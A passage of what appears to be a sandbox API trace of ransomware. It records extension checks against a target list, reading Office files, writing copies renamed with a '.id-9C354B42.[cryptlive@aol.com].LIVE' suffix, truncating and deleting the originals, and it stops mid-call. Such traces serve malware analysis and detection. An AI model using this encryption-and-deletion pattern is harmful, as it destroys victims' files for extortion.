[0152.653] lstrlenW (lpString=".rar") returned 4 [0152.653] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.653] lstrlenW (lpString=".bz2") returned 4 [0152.653] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.653] lstrlenW (lpString=".7z") returned 3 [0152.653] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString=".dbf") returned 4 [0152.653] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString=".1cd") returned 4 [0152.653] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0152.653] lstrlenW (lpString=".jpg") returned 4 [0152.654] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.654] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.654] lstrlenW (lpString="OLMAILR.FAE") returned 11 [0152.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.654] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10160) returned 1 [0152.654] CloseHandle (hObject=0x1e0) returned 1 [0152.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20 [0152.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.672] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.672] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.673] GetLastError () returned 0x0 [0152.673] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0152.704] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0152.705] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.705] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0152.705] SetEndOfFile (hFile=0x3a0) returned 1 [0152.705] CloseHandle (hObject=0x3a0) returned 1 [0152.705] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.705] SetEndOfFile (hFile=0x314) returned 1 [0152.708] CloseHandle (hObject=0x314) returned 1 [0152.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 1 [0152.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.709] lstrlenW (lpString=".doc") returned 4 [0152.709] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.709] lstrlenW (lpString=".docx") returned 5 [0152.709] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.709] lstrlenW (lpString=".pdf") returned 4 [0152.709] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.709] lstrlenW (lpString=".xls") returned 4 [0152.709] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.709] lstrlenW (lpString=".xlsx") returned 5 [0152.709] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.709] lstrlenW (lpString=".ppt") returned 4 [0152.709] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.709] lstrlenW (lpString=".zip") returned 4 [0152.710] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString=".rar") returned 4 [0152.710] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString=".bz2") returned 4 [0152.710] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.710] lstrlenW (lpString=".7z") returned 3 [0152.710] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString=".dbf") returned 4 [0152.710] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString=".1cd") returned 4 [0152.710] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString=".jpg") returned 4 [0152.710] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString=".doc") returned 4 [0152.710] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.710] lstrlenW (lpString=".docx") returned 5 [0152.710] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.710] lstrlenW (lpString=".pdf") returned 4 [0152.710] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString=".xls") returned 4 [0152.710] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString=".xlsx") returned 5 [0152.710] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.710] lstrlenW (lpString=".ppt") returned 4 [0152.710] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.710] lstrlenW (lpString=".zip") returned 4 [0152.710] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.711] lstrlenW (lpString=".rar") returned 4 [0152.711] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.711] lstrlenW (lpString=".bz2") returned 4 [0152.711] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.711] lstrlenW (lpString=".7z") returned 3 [0152.711] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.711] lstrlenW (lpString=".dbf") returned 4 [0152.711] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.711] lstrlenW (lpString=".1cd") returned 4 [0152.711] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0152.711] lstrlenW (lpString=".jpg") returned 4 [0152.711] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.711] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0152.711] lstrlenW (lpString="OLTASKR.FAE") returned 11 [0152.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.712] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10672) returned 1 [0152.712] CloseHandle (hObject=0x314) returned 1 [0152.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 0x20 [0152.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.712] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.712] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.713] GetLastError () returned 0x0 [0152.713] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x29b0, lpOverlapped=0x0) returned 1 [0152.767] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x29c0, lpOverlapped=0x0) returned 1 [0152.768] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.768] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0152.768] SetEndOfFile (hFile=0x3a0) returned 1 [0152.768] CloseHandle (hObject=0x3a0) returned 1 [0152.768] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.768] SetEndOfFile (hFile=0x314) returned 1 [0152.770] CloseHandle (hObject=0x314) returned 1 [0152.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae")) returned 1 [0152.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.772] lstrlenW (lpString=".doc") returned 4 [0152.772] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.772] lstrlenW (lpString=".docx") returned 5 [0152.772] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.772] lstrlenW (lpString=".pdf") returned 4 [0152.772] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.772] lstrlenW (lpString=".xls") returned 4 [0152.772] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.772] lstrlenW (lpString=".xlsx") returned 5 [0152.772] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.772] lstrlenW (lpString=".ppt") returned 4 [0152.772] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.772] lstrlenW (lpString=".zip") returned 4 [0152.772] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.772] lstrlenW (lpString=".rar") returned 4 [0152.772] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.772] lstrlenW (lpString=".bz2") returned 4 [0152.772] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.772] lstrlenW (lpString=".7z") returned 3 [0152.772] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.772] lstrlenW (lpString=".dbf") returned 4 [0152.772] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.772] lstrlenW (lpString=".1cd") returned 4 [0152.773] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.773] lstrlenW (lpString=".jpg") returned 4 [0152.773] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.773] lstrlenW (lpString=".doc") returned 4 [0152.773] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0152.773] lstrlenW (lpString=".docx") returned 5 [0152.773] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0152.773] lstrlenW (lpString=".pdf") returned 4 [0152.773] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString=".xls") returned 4 [0152.773] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString=".xlsx") returned 5 [0152.773] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0152.773] lstrlenW (lpString=".ppt") returned 4 [0152.773] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.773] lstrlenW (lpString=".zip") returned 4 [0152.773] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString=".rar") returned 4 [0152.773] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0152.773] lstrlenW (lpString=".bz2") returned 4 [0152.773] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0152.773] lstrlenW (lpString=".7z") returned 3 [0152.773] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.773] lstrlenW (lpString=".dbf") returned 4 [0152.773] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.774] lstrlenW (lpString=".1cd") returned 4 [0152.774] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE") returned 67 [0152.774] lstrlenW (lpString=".jpg") returned 4 [0152.774] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0152.774] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0152.774] lstrlenW (lpString="TRANSMRR.DLL") returned 12 [0152.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.967] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=13712) returned 1 [0152.967] CloseHandle (hObject=0x3b4) returned 1 [0152.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll")) returned 0x20 [0152.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\transmrr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.019] lstrlenW (lpString=".doc") returned 4 [0153.019] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString=".docx") returned 5 [0153.019] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0153.019] lstrlenW (lpString=".pdf") returned 4 [0153.019] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString=".xls") returned 4 [0153.019] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString=".xlsx") returned 5 [0153.019] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0153.019] lstrlenW (lpString=".ppt") returned 4 [0153.019] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.019] lstrlenW (lpString=".zip") returned 4 [0153.019] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString=".rar") returned 4 [0153.019] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0153.019] lstrlenW (lpString=".bz2") returned 4 [0153.019] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0153.019] lstrlenW (lpString=".7z") returned 3 [0153.020] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".dbf") returned 4 [0153.020] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".1cd") returned 4 [0153.020] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".jpg") returned 4 [0153.020] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".doc") returned 4 [0153.020] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString=".docx") returned 5 [0153.020] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0153.020] lstrlenW (lpString=".pdf") returned 4 [0153.020] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString=".xls") returned 4 [0153.020] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString=".xlsx") returned 5 [0153.020] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0153.020] lstrlenW (lpString=".ppt") returned 4 [0153.020] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".zip") returned 4 [0153.020] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString=".rar") returned 4 [0153.020] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0153.020] lstrlenW (lpString=".bz2") returned 4 [0153.020] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0153.020] lstrlenW (lpString=".7z") returned 3 [0153.020] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.020] lstrlenW (lpString=".dbf") returned 4 [0153.020] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0153.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.021] lstrlenW (lpString=".1cd") returned 4 [0153.021] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0153.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\TRANSMRR.DLL") returned 68 [0153.021] lstrlenW (lpString=".jpg") returned 4 [0153.021] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0153.021] lstrcmpiW (lpString1=".SAM", lpString2=".LIVE") returned 1 [0153.021] lstrlenW (lpString="OL.SAM") returned 6 [0153.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0153.068] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=29056) returned 1 [0153.068] CloseHandle (hObject=0x3a0) returned 1 [0153.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20 [0153.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0153.395] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.395] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 